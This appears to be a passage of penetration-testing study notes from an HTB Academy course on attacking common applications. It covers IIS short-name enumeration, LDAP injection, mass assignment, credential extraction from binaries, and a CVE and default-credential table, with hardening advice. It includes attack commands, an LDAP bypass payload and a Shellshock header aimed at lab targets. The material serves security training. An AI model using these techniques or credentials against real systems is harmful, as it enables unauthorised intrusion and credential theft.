Windows generates a legacy 8.3 short name for every file (somefi~1.txt) for DOS compatibility. Some IIS versions answer tilde-prefixed requests differently depending on whether a prefix matches, so you can rebuild hidden names one character at a time — turning “guess the whole filename” into “guess an 8-char prefix”.

IIS short-name enumLR
Fingerprint IIS, check OPTIONS
IIS-ShortName-Scanner
Partial names, e.g. TRANSF~1.ASP
Build a targeted wordlist(words starting 'transf')
Fuzz with extensions →recover the full name

Fingerprint and scan (the numeric args tune threads/requests; it reports the working HTTP method and every partial name):

nmap -p- -sV -sC --open 10.129.224.91          # Microsoft IIS httpd 7.5
java -jar iis_shortname_scanner.jar 0 5 http://10.129.204.231/
#  Vulnerable! · method: OPTIONS · dirs: ASPNET~1, UPLOAD~1 · files: CSASPX~1.CS, TRANSF~1.ASP

Narrow the partial name into a wordlist, then recover the full filename:

egrep -r ^transf /usr/share/wordlists/* | sed 's/^[^:]*://' > /tmp/list.txt
feroxbuster -u http://10.129.204.231/ -w /tmp/list.txt -t 50 -x aspx,asp
#  /transfer.aspx (200)

[!tip] It’s a legacy behaviour Modern IIS/.NET configs often have this disabled. Always let the scanner’s own vulnerability check confirm applicability before you spend time building wordlists.


15 · LDAP injection & mass assignment fas:Terminal

Two source-driven bug classes. LDAP-backed logins that concatenate input into a filter fall to injection (the LDAP cousin of SQLi). Framework “mass assignment” binds a whole form onto a model, letting you set fields — admin, confirmed — that were never meant to be user-controllable.

LDAP injection bypassTD
nmap: ldap/389 beside web/80
Login likely LDAP-backed
Inject * into user/pass
(&(objectClass=user)(sAMAccountName=*)(userPassword=*))matches any record
Auth bypass

[!info] LDAP vs Active Directory LDAP is a protocol for querying directory data; Active Directory is a directory service that speaks LDAP (plus Kerberos, DNS, and more). OpenLDAP is the common cross-platform implementation you meet outside pure-Windows shops. Injection metacharacters: * (wildcard), () (grouping), &/| (AND/OR) — (cn=*) is the ' OR '1'='1 of LDAP.

Query directly to understand the schema, then look for ldap/389 next to a web login (a strong hint the login is LDAP-backed):

ldapsearch -H ldap://ldap.example.com:389 -D "cn=admin,dc=example,dc=com" -w secret123 \
  -b "ou=people,dc=example,dc=com" "(mail=jdoe@example.com)"
nmap -p- -sC -sV --open --min-rate=1000 10.129.204.229     # 389/tcp OpenLDAP

Bypass with a wildcardUsername: * / Password: * builds a filter that matches any user with a non-empty password.

Mass assignment. The vulnerable pattern only checks whether a field exists — its value is irrelevant:

try:
    if request.form['confirmed']:   # existence check only
        cond = True
except:
    cond = False
# Burp: add a field the real form never exposes
POST /register
username=new&password=test&confirmed=test

The Rails equivalent (attr_accessible :username, :email) breaks the same way — smuggle admin: true inside the user hash. Modern Rails uses Strong Parameters (params.require(:user).permit(:username, :email)), which whitelists — but an over-broad permit! re-opens the hole. Fix is always explicit whitelisting, never a blacklist or existence check.


16 · Applications connecting to services fas:Terminal

Apps that talk to a backend commonly embed a connection string with live credentials in the compiled binary, not a greppable config file. Recover it from two formats — an ELF in a debugger, a .NET DLL in a decompiler — and test the creds for reuse elsewhere.

Connection-string recoveryTD
Binary connects to a backend
Type?
ELF native
GDB + GEF/PEDA:breakpoint the connect call
.NET assembly
dnSpy: decompile to C#
Connection string sitsin a register at the breakpoint
Reuse creds / password-spray

[!info] Why not just strings? Connection strings are often assembled at runtime from reordered, endianness-reversed fragments, so a flat strings pass can miss the finished value. A breakpoint at the actual connect API captures the complete string.

ELF → MS SQL. Run it to learn the driver API (SQLDriverConnect), disassemble, breakpoint the call, and read the register:

gdb ./octopus_checker
gdb-peda$ set disassembly-flavor intel
gdb-peda$ disas main               # find call to SQLDriverConnect@plt
gdb-peda$ b *0x5555555551b0
gdb-peda$ run
#  RDX: "DRIVER={ODBC Driver 17 for SQL Server};SERVER=localhost,1401;UID=username;PWD=password;"

.NET DLL. IL decompiles cleanly — triage the metadata, then read the controller in dnSpy:

Get-FileMetaData .\MultimasterAPI.dll     # .NETFramework v4.6.1 · api/getColleagues
#  dnSpy → MultimasterAPI.Controllers.ColleagueController → connection string inline

[!tip] Maintained tooling GEF is the actively maintained GDB extension (successor to PEDA). dnSpyEx for .NET. For a fast first pass, strings + binwalk/floss (FLARE Obfuscated String Solver) sometimes recovers runtime-built strings without a debugger.


17 · Other applications & hardening fas:BookOpen

The specific apps above are practice material for one transferable method. Applied to anything unfamiliar:

Unknown-app methodTD
Unknown app found Default creds? Admin access Known CVE for this version? Public exploit / PoC Read the docs → find built-infunctionality to abuse RCE via deploy/upload/script feature Yes No Yes No

Honourable mentions

ApplicationWhere to start
Axis2Often on Tomcat. Weak/default admin creds → upload a web shell as an AAR (like a Tomcat WAR). Metasploit module exists.
WebSphereDefault system:manager → deploy a WAR for RCE.
ElasticsearchMultiple serious CVEs; hunt forgotten/unauth instances (HTB Haystack).
ZabbixSQLi, auth bypass, stored XSS, LDAP password disclosure, RCE; the API itself is abusable (HTB Zipper).
NagiosHistory of RCE/privesc/SQLi/XSS. Default nagiosadmin:PASSW0RD.
WebLogicJava EE server, 190+ CVEs, many unauth deserialisation RCEs (2007–2021).
Wikis/intranetsMediaWiki, SharePoint, custom builds — known CVEs plus search features that surface credentials.
DotNetNuke (DNN).NET CMS — auth bypass, traversal, file-upload bypass, arbitrary download. SQL Console → xp_cmdshell.
vCenterWeak creds + CVE-2021-22005 (unauth OVA-upload RCE). Often already SYSTEM or domain admin — a single point of full compromise.

Hardening reference

  • Authentication: strong passwords, change/disable default admin accounts, MFA for admins.
  • Access controls: keep admin/login pages internal unless there’s a real need; deny uploads/deploys where not required.
  • Disable unsafe features: in-browser PHP editing (WordPress Theme Editor, Drupal PHP Filter) is a built-in RCE primitive even after a credential compromise.
  • Patch promptly: nearly every exploit here is version-gated and long fixed upstream.
  • Inventory everything: including shadow IT and forgotten trials — an org can’t protect what it doesn’t know exists (the Splunk trial is the poster child).
AppFix
WordPressSecurity plugin (WordFence) for monitoring, blocking, MFA
JoomlaGate the admin login behind a secret key (AdminExile)
DrupalDisable/hide/move the admin login
TomcatRestrict Manager/Host-Manager to localhost or IP-whitelist + strong non-standard creds
JenkinsFine-grained perms via the Matrix Authorization Strategy plugin
SplunkChange defaults; license properly so auth can’t silently lapse
PRTGPatch; change the default prtgadmin password
osTicketLimit internet exposure
GitLabRestrict sign-up (admin approval, allowed email domains)

18 · Skills assessments fas:Terminal

Three narrative labs against dynamically spawned INLANEFREIGHT targets. There are no fixed flags to reproduce — the value is running the whole method end to end and recording exact commands, output, and derived creds against your own instance.

[!example]+ Assessment I — foothold on the one soft host A well-hardened network with one interesting host. Enumerate → fingerprint every web app → default creds + version CVEs → abuse built-in functionality → flag.txt.

sudo nmap -sV -sC -p- --open <target>

[!example]+ Assessment II — the “boring” host hiding GitLab Re-enumerate a host that first seemed dull; a note points at gitlab.inlanefreight.local. Apply the GitLab method in full: /etc/hosts/explore → self-registration → username enum → confirm version against the ExifTool RCE class.

[!example]+ Assessment III — hardcoded MSSQL password A Windows host with valid Administrator creds; find the MSSQL service password. Straight application of §16:

evil-winrm -i <target> -u Administrator -p '<password>'
#  locate the MSSQL-connecting binary → GDB/x64dbg breakpoint (native) or dnSpy (.NET)

evil-winrm is still the standard for interactive WinRM. Across all three, an httpx/nuclei sweep speeds the initial fingerprint before the manual, app-specific work.


Quick reference fas:ClipboardList

Default credentials: Tomcat tomcat:tomcat / tomcat:s3cret · Splunk admin:changeme · PRTG prtgadmin:prtgadmin · Nagios nagiosadmin:PASSW0RD · WebSphere system:manager.

Key ports: Tomcat 8080/8180 · AJP 8009 · Jenkins 8080 (agent 5000) · Splunk 8000/8089 · PRTG 8080 · ColdFusion 8500 · GitLab (lab) 8081 · LDAP 389/636 · MSSQL 1433.

CVETargetClassDelivery
CVE-2020-24186WordPress wpDiscuzunauth upload RCEwp_discuz.py
CVE-2019-10945Joomla core 1.5.0–3.9.4auth traversal + file deletejoomla_dir_trav.py
CVE-2014-3704Drupal 7.0–7.31pre-auth SQLi → rogue admindrupal_drupageddon
CVE-2018-7600Drupal <7.58/<8.5.1pre-auth RCE (Drupalgeddon2)drupalgeddon2.py
CVE-2018-7602Drupalauth RCE (Drupalgeddon3)drupal_drupageddon3
CVE-2020-1938Tomcat <9.0.31/8.5.51/7.0.100unauth AJP file read (Ghostcat)tomcat-ajp.lfi.py
CVE-2019-0232Tomcat (Windows CGI)command injectionffuf + URL-encoded query
CVE-2018-9276PRTG <18.2.39auth command injectionnotification “Execute Program”
CVE-2021-22205GitLabunauth ExifTool RCE(successor to ≤13.10.2 auth RCE)
CVE-2014-6271Bash/CGIShellshockcurl -H 'User-Agent: () { :; };…'
CVE-2010-2861ColdFusion ≤9.0.1traversal → cred leak14641.py
CVE-2009-2265ColdFusion ≤8.0.1unauth FCKeditor RCE50057.py
CVE-2021-22005vCenterunauth OVA-upload RCE

Lessons learned fas:Lightbulb

  1. Version is the whole game. Every CVE here is gated on an exact version — pull it from the generator meta, CHANGELOG.txt, joomla.xml, /docs, or a favicon hash before you pick an exploit.
  2. Admin console ≈ RCE. Theme/template editors, the Jenkins Script Console, Tomcat Manager, Splunk apps, PRTG notifications — default creds plus a short spray reach them more often than a CVE does.
  3. Upload = a live backdoor. WAR/plugin/app uploads leave a shell on disk. Record the path and remove it at cleanup; match shell language to server (VBScript→.asp, C#→.aspx, JSP→WAR).
  4. Apps carry other systems’ creds. Config files, connection strings, and osTicket/GitLab secrets feed straight into service attacks and lateral movement — test every recovered credential for reuse.
  5. Scanners and eyes are complementary. WPScan missed plugins that curl | grep caught; run both.
  6. dev/qa/acc first. Non-prod copies are patched last and gated loosest.

References fas:BookOpen

  1. HTB Academy — Attacking Common Applications
  2. WPScan · droopescan
  3. CVE-2020-24186 — wpDiscuz RCE · CVE-2019-10945 — Joomla traversal
  4. Drupalgeddon: CVE-2014-3704 · CVE-2018-7600 · CVE-2018-7602
  5. Tomcat: Ghostcat CVE-2020-1938 · CVE-2019-0232 · tennc/webshell
  6. Jenkins security advisories · Splunk custom apps
  7. CVE-2018-9276 — PRTG · HTB Netmon
  8. CVE-2021-22205 — GitLab ExifTool RCE · Exploit-DB 49951 — GitLab 13.10.2 auth RCE
  9. CVE-2014-6271 — Shellshock
  10. ColdFusion: CVE-2010-2861 · CVE-2009-2265
  11. irsdl/IIS-ShortName-Scanner
  12. OWASP — LDAP Injection · OWASP — Mass Assignment
  13. Reversing: Ghidra · dnSpyEx · GEF · FLOSS

Image credits fas:BookOpen

Logos are re-hosted from Wikimedia Commons for identification only and remain the trademarks of their respective owners. The table below carries the author and licence for each — this satisfies the attribution/notice terms of the CC BY-SA, GPL, and MIT marks; public-domain and CC0 marks are listed for completeness.

ImageAuthor / ownerLicenceSource
WordPressWordPress FoundationPublic domain (PD-textlogo)Commons
JoomlaOpen Source MattersPublic domainCommons
Drupal (Druplicon)Drupal projectGPL-2.0Commons
Apache TomcatApache Software FoundationPublic domainCommons
JenkinsThe Jenkins projectCC BY-SA 3.0Commons
SplunkSplunk Inc.Public domainCommons
PRTGPaessler AGCC BY-SA 4.0Commons
osTicketRajsinghnovanet (Commons)CC BY-SA 4.0Commons
GitLabGitLab B.V.MITCommons
Adobe ColdFusionAdobe Inc.Public domain (PD-textlogo)Commons
Microsoft IISTanya Pradhan (Commons)CC BY-SA 4.0Commons
Shellshock bugWikimedia CommonsCC0 (public domain)Commons

← Condensed cheat sheet · Workflow dashboard · Web enum deep-dive →